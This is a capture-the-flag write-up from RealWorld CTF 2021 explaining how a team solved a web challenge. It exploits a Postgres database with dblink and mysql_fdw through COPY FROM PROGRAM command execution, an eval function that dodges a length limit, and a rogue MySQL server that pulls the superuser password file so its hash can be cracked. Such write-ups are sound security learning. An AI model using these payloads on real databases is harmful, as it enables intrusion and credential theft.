
DBaaSadge — Writeup
RealWorld CTF 2021
This year I played the Real World CTF with team Sauercloud and we scored second place. I was involved in solving DBaaSadge, a web challenge, and am happy to share my writeup as a good source of knowledge for other people.
If you want to follow the writeup side-by-side with your own setup, you can find all the challenge files here.
The challenge
In the challenge, we get a Dockerfile that sets up a Postgres 10 database with two extensions: dblink and mysql_fdw. The first one is an extension by Postgres itself and allows the user to link and connect Postgres databases. The second extension enables the same but with MySQL databases.
To speak to the database, we can use HTTP requests that execute our SQL statements and return the output. In the code below, the index.php, you can exactly see the logic.
Looking at the logic, we can see that the SQL commands are limited to 100 characters and are executed by the user realuser in the Postgres database. Further, the database contains the superuser postgres which we see in the provided Dockerfile. Finally, the server contains a getflag binary, which we need to execute in order to receive the flag.
To understand the path of solving the challenge and the final exploit, let’s start in reverse order and think about how we can execute arbitrary code.
Remote Code Execution
To start with testing arbitrary code and for easier use, we set up the challenge on a local machine and changed the superuser password to password. Also, we executed the SQL commands directly on the server instead of using HTTP requests to avoid the 100 character limit for the moment. This makes debugging a lot easier.
Next, we looked in the Postgres documentation and found that the COPY statement can execute commands by providing the keyword PROGRAM. So, let’s try it out.
We can see that we first create a table in which we copy the output of the shell command id. Afterward, we can view the result by selecting the data from the cmd_table. This was easy and gives us arbitrary code execution from inside the database.
Unfortunately, inside the database, the program option is only available for the superuser. Accordingly, the next step is to think about ways we become superusers.
When we think back, we have the extension dblink enabled. With this extension, we can connect Postgres databases by specifying the host, the database, a user, and a password.
SELECT * FROM dblink ('host=127.0.0.1 dbname=postgres user=postgres password=password', 'COPY cmd_table FROM PROGRAM ''/readflag'';') AS a (b text);
In the SQL statement above, we can see that we can also connect our local machine and current database postgres with the superuser postgres if we know his password. Furthermore, we execute the readflag binary.
Before executing the readflag binary, we have two limitations here. First, we don’t know the password. Second, the statement is longer than 100 characters.
Length Limitation Bypass
100 characters are not much if executing complicated SQL statements. Thus, we searched for ways to bypass the limitation. Luckily, this bypass was achieved via a so-called eval method: We store the long payload into a database and execute it with an eval function.
First, let’s look at the eval function we created.
CREATE FUNCTION eval_func (i TEXT, out o TEXT) AS $$ BEGIN execute i INTO o; END $$ LANGUAGE plpgsql
The created function takes an input text i, executes it, and returns the output o — exactly what we would expect from eval. This eval can now be used to execute SQL statements of any length, as the example below shows.
As aforementioned, we insert all parts of the command into the eval table and call the eval function with the concatenated command string as input.
With this, only the password of the superuser is missing.
The Password File
Stealing the superuser password was the main part of the challenge and is based on a really clever design flaw in the MySQL protocol.
MySQL contains a function called LOAD DATA that allows the user to load data from a file into a table. However, it also allows the client to provide a local file if he specifies the LOCAL keyword. Since the SQL statement parsing occurs on the server-side, a malicious MySQL server could tell the connected client at any time to transfer any file.
With the mysql_fdw, the Postgres server is in the situation of being a MySQL client that could be attacked by this design flaw. For example, with the following SQL statements, we can connect the Postgres server to a MySQL server, malicious or not.
A malicious server that makes use of the mentioned flaw was luckily already implemented on GitHub. The server downloads any file from the client that we specify the path for. With the path of the Postgres password file in mind, this can give us the superuser’s password hash. In fact, to get the hash file using the malicious server, the following line on a publicly available server (plus the aforementioned SQL statement) is enough:
python RogueSQL.py -f "/var/lib/postgresql/10/main/global/1260"
Now, knowing the hash a4824021a91d43cfeede15fdfbf77382f
, we used hashcat to quickly crack it. Since it only consists of five random characters, cracking took only a few seconds.

The final exploit
Finally, we combined all parts together to get the flag. Let me summarize the final exploit:
- Start a public available malicious MySql server that requests the password file from every connecting client.
- Send the server the SQL to connect to the malicious MySql server as HTTP requests.
- Take the hash from the password file and crack it with hashcat.
- Use the password to forge a SQL statement that executes readflag as the postgres user via dblink.
- Split the statement into parts and use an eval function to bypass the 100 character limit.
- Get the flag: rwctf{pop_cat_says_p1ea5e_upd4t3_youR_libmysqlclient_kekW}
Tough, isn’t it? Below you can see my final python exploit that executes all parts except for the malicious MySQL server and hashcat.
Summary
Rethinking the challenges shows up the various stages the challenge is made of and that we found out during the CTF. I personally learned a lot about SQL servers and enjoyed writing the final exploit. Thanks to the challenge author for such a good challenge!